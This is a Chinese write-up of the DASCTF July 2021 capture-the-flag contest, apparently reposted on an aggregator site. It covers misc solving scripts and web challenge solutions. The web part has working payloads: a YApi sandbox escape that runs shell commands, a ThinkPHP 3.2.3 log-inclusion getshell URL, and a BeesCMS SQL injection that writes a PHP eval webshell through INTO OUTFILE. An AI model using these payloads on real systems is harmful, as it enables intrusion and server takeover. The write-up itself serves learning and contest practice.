2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th WriteUp

Posted 是Mumuzi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th WriteUp相关的知识,希望对你有一定的参考价值。

最后十分钟掉了4名可还行

只写自己做了的,队友出的就不写了
题目:
Crypto:Yusa的密码学签到——BlockTrick
MISC:5道+1道赛后复现(共6道)
WEB:ezrce、cat flag、easythinkphp、jspxcms、cybercms

Crypto:Yusa的密码学签到——BlockTrick

不知道啥意思,反正暂且当复读机就行了。

MISC-问卷题

DASCTF{79f3bb47a2e2d46def82c052eccb7b80}

MISC-red_vs_blue
一共66轮,本来想手动发现90s会自动断开,还发现在同一轮nc里面的答案是固定的,于是可以写脚本试错在90s内赢66轮

p=remote("node4.buuoj.cn",26137)
context.log_level='debug'
answer='b'*66
f=False
while True:
    for i in range(66):
        p.recvuntil('choose one [r] Red Team,[b] Blue Team:')
        p.sendline(answer[i])
        p.recvuntil("Team")
        p.recvuntil("Team\\n")
        if p.recv(5).decode()=="Sorry":
            p.recvuntil('Play again? (y/n): ')
            answer=answer[:i]+'r'+answer[i+1:]
            p.sendline('y')
            break
        else:
            continue
        try:
            flag1=p.recvuntil('flag')
            flag2=p.recvuntil('\\n')
            f=True
            break
        except:
            pass
    if f:
        break
print(flag1,flag2)

MISC-funny_maze
麻了麻了,照着改了好多次,2个半小时就没了
原脚本:https://blog.csdn.net/qq_29681777/article/details/83719680
对其进行修改:

def winner(n):
    dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)]  # 当前位置四个方向的偏移量
    path = []  # 存找到的路径


    def mark(maze, pos):  # 给迷宫maze的位置pos标"2"表示“倒过了”
        maze[pos[0]][pos[1]] = 2


    def passable(maze, pos):  # 检查迷宫maze的位置pos是否可通行
        return maze[pos[0]][pos[1]] == 0


    def find_path(maze, pos, end):
        mark(maze, pos)
        if pos == end:
            print(pos, end=" ")  # 已到达出口,输出这个位置。成功结束
            path.append(pos)
            return True
        for i in range(4):  # 否则按四个方向顺序检查
            nextp = pos[0] + dirs[i][0], pos[1] + dirs[i][1]
            # 考虑下一个可能方向
            if passable(maze, nextp):  # 不可行的相邻位置不管
                if find_path(maze, nextp, end):  # 如果从nextp可达出口,输出这个位置,成功结束
                    print(pos, end=" ")
                    path.append(pos)
                    return True
        return False


    def see_path(maze, path,counts):  # 使寻找到的路径可视化
        count = 0
        for i, p in enumerate(path):
            if i == 0:
                maze[p[0]][p[1]] = "E"
            elif i == len(path) - 1:
                maze[p[0]][p[1]] = "S"
            else:
                maze[p[0]][p[1]] = 3
        print("\\n")
        for r in maze:
            for c in r:
                if c == 3:
                    print('\\033[0;31m' + "*" + " " + '\\033[0m', end="")
                    count += 1
                elif c == "S" or c == "E":
                    print('\\033[0;34m' + c + " " + '\\033[0m', end="")
                elif c == 2:
                    print('\\033[0;32m' + "#" + " " + '\\033[0m', end="")
                elif c == 1:
                    print('\\033[0;;40m' + " " * 2 + '\\033[0m', end="")
                else:
                    print(" " * 2, end="")
            print()
        print(count+1)
        counts = count +1
        return counts



    p.recvuntil("#"*n + '\\n')
    map = ["#"*n]
    for i in range(n-1):
        map.append(str(p.recvline())[2:-3])
    for i in map:
        print(i)
    maze = [[0]*n for i in range(n)]
    for h in range(len(map)):
        for w in range(len(map)):
            if(map[w][h] == '#'):
                maze[w][h] = 1
            if(ord(map[w][h]) == 32 or map[w][h] == 'S' or map[w][h] == 'E'):
                maze[w][h] == 0
    print(maze)
    for h in range(len(map)):
        for w in range(len(map)):
            if(map[w][h] == 'S'):
                start = (w,h)
            if(map[w][h] == 'E'):
                end = (w,h)
    counts = 0
    find_path(maze, start, end)
    c = see_path(maze, path,counts)
    p.recvline()
    p.sendline(str(c+1))



from pwn import *
context.log_level ='debug'
p = remote("node4.buuoj.cn",29622)
p.sendline("1")
winner(11)
winner(21)
winner(31)
winner(101)
winner(111)

这里定义为了函数,是为了初始化,如果不定义成函数,就会出现错误。还有就是定义二维数组一定要像我那样定义,不然会出现非理想的情况,免得自己排查都没排除清楚。

MISC-Just a GIF
类似国赛的GIF,甚至比国赛的简单
首先GIF用GIFFrame分离,一共得到451张图片
每11张为一组,一共41组,一组一组的来比较,即第一组第x张和每组第x张比较,相同画白,不同画黑
听不懂就看脚本

from PIL import Image
import os
from tqdm import tqdm

path = 'C:\\\\Users\\\\mumuzi\\\\Desktop\\\\Just_a_GIF'
pic = ['']*451
i = 0
for filename in os.listdir(path):
    pic[i] = filename
    i += 1
print(pic)

tmp = Image.open(path+'\\\\Frame0.png')
w,h = tmp.size[0],tmp.size[1]
img = Image.new('RGB',(w,h),(255,255,255))
count= 0
flag = ''
#上面没用,是当时调试的时候写的,忘了删了
for i in tqdm(range(11)):
    picn = Image.new('RGB',(w,h),(255,255,255))
    for t in range(1,41):
        pic1 = Image.open(path+'\\\\Frame'+str(i)+'.png')
        pic2 = Image.open(path+'\\\\Frame'+str(i+t*11)+'.png')
        for j in range(h):
            for k in range(w):
                tmp1 = pic1.getpixel((k,j))
                tmp2 = pic2.getpixel((k,j))
                if(tmp1 != tmp2):
                    picn.putpixel((k,j),(0,0,0))
    picn.save(str(i)+'.png')

妈的,笑死,我当时到底在写什么玩意儿,前面获取了目录后面为啥不直接用目录,有病。
想起来了,上面,for i 前面的 都不用看,那是当时在调试的时候测试的,只需要从for i in tqdm(range(11))开始看就行了

我的命名是从0开始到450的
然后跑出来:

很容易看出来是要拼起来,9张图手撸即可
DataMatrix
https://demo.dynamsoft.com/barcode-reader/

DASCTF{6bb73086aeb764b5727529d82b084cce}

MISC-Nuclear wastewater
核~~废~~水
原本黑黑的二维码变成了彩色的,把他的值打印出来,发现2通道为0,另一通道不为零
将其转字符,因为包含不可打印字符,所以这里把范围限制到32~128

from PIL import Image
img = Image.open('Nuclear wastewater.png')
w,h = img.size[0],img.size[1]
for i in range(3):
    for j in range(10,h-10,10):
        for k in range(10,w-10,10):
            tmp = list(img.getpixel((k,j)))
            if(tmp != [255, 255, 255] and int(tmp[i]) != 0 and tmp[i]>32 and tmp[i]<128):
                print(chr(tmp[i]),end='')

虽然我知道if判断那里前两个条件多余了,但是当时是这样做的,就还是这样写吧。
得到:

Ys>UEJht#?ppeEFtstR#:hitR:@s@YRteK#e@KsR&E&:eR:Eht/#iKtteYKhYKYhhhihhKtC2tt:HVEesY&#@Rj!seRi:eitEtKsetKtEE:hh#h#eYKYihhYK(Kt@iSY$KY/@pRsEetsip:~h@eeEs!E&&::EsEEei#/iYe#/ieKKt//iKYhh

然后词频

from collections import Counter
f = 'Ys>UEJht#?ppeEFtstR#~:hi~tR:@s@YRteK#e@KsR&E&:eR:Eht/#iKtteYKhYKYhhhihhKtC2tt:HVEesY&#@Rj!seRi:eitEtKsetKtEE:hh#h#eYKYihhYK(Kt@iSY$KY/@pRsEetsip:~h@eeEs!E&&::EsEEei#/iYe#/ieKKt//iKYhh'
c = Counter(f)
print(c)


#R@/&p~!,因为后面词频为1,出题人肯定不会将1的放进去,不然就不知道顺序,做起来稍微麻烦了一点,测试发现果然如此,解压成功。

#R@/&p~!

然后用winhex查看解压的txt

发现零宽隐写,包含:U+200C U+200D U+200E
http://330k.github.io/misc_tools/unicode_steganography.html

直接上cyberchef,注意复制的时候不要把零宽的内容复制进去了,或者直接复制上图左上的内容

flag{98047de9ce5aaa4c0031fb55e9dfac70}

MISC-赛后复现-ezSteganography
非预期,用stegsolve分离出g0通道,得到前半张图

然后,图g0和g1异或

flag{2e9ec6480d05150c211963984dcbc9f1}

WEB-ezrce
打开显示yapi,直接去百度yapi漏洞
https://blog.csdn.net/Trouble_99/article/details/118667625
这篇 无脑的命令执行方法
然后就是找flag的位置
先ls没有,然后ls …/; ls …/…/发现ffffffflllllaggggg

最后:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor(‘return process’)
const process = myfun()
mockJson = process.mainModule.require(“child_process”).execSync(“cat …/…/ffffffflllllaggggg”).toString()

WEB-cat flag
根据提示:管理员曾经访问过 flag,可以去日志找

Payload:?cmd=/var/log/nginx/access.log

得到:/this_is_final_flag_e2a457126032b42d.php

然后就是想办法绕过escapeshellarg
而根据百度经常看见的做法,一般escapeshellarg和escapeshellcmd一起用
所以这里去单独搜escapeshellarg函数
https://www.php.net/manual/zh/function.escapeshellarg.php
注意到用户提出的问题

当escapeshellarg()从UTF-8字符串中剥离非ASCII字符时,添加以下内容修复了该问题。
然后看我们这道题,是并没有添加的,所以可能存在这个问题
然后又要绕flag,所以可以将其添加在flag当中试试

Payload:http://3a33dc78-d707-4a3d-9237-fce482a8ae8e.node4.buuoj.cn/?cmd=this_is_final_fl%81ag_e2a457126032b42d.php

然后看源码

WEB-easythinkphp
ThinkPHP3.2.3
手里有两个Thinkphpgui,一个利用范围基本5.x,一个包含3.x
是从peiqi薅的
一键getshell

上蚁剑

http://68dcc3c6-18dc-4e12-8c76-1c8b783f9f9f.node4.buuoj.cn//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_01.log
Pass:peiqi



Web-jspxcms
跟着这篇文章复现就完事:
https://lockcy.github.io/2019/10/18/%E5%A4%8D%E7%8E%B0jspxcms%E8%A7%A3%E5%8E%8Bgetshell%E6%BC%8F%E6%B4%9E/



Web-cybercms
/www.zip 源码泄漏 /admin 后台
(当时看这后台就觉得熟悉,结果之后才发现在bugku打awd的时候打过beescms)
源码里面看index.php,发现是beescms


然后是得到了他的一个

payload:
admin’ uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile ‘C:/phpStudy/WWW/beescms/shell.php’#

试试

发现题目改过,是在原来基础上多了个f1_vvv
然后用notepad++搜整个文件夹,在www\\includes\\fun.php下


发现是过滤了空格,可以用Tab代替空格,%a0=空格。
哦对,目录也要改,在看robots.txt的时候发现目录/var/www/html/
所以写在其处,这里用的是Tab代替空格

最终payload:
admin%27 un union ion seselectlect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into to outoutfilefile ‘/var/www/html/shell.php’#

剑蚁/shell.php 密码cmd

以上是关于2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th WriteUp的主要内容,如果未能解决你的问题,请参考以下文章

2021DASCTF八月挑战赛Writeup

[DASCTF X BUU 2021] misc Holmes

[DASCTF X BUU 2021] misc Holmes

2022DASCTF MAY 出题人挑战赛 Writeup

2022DASCTF MAY 出题人挑战赛 Writeup

W-9610 DASCTF(7.31)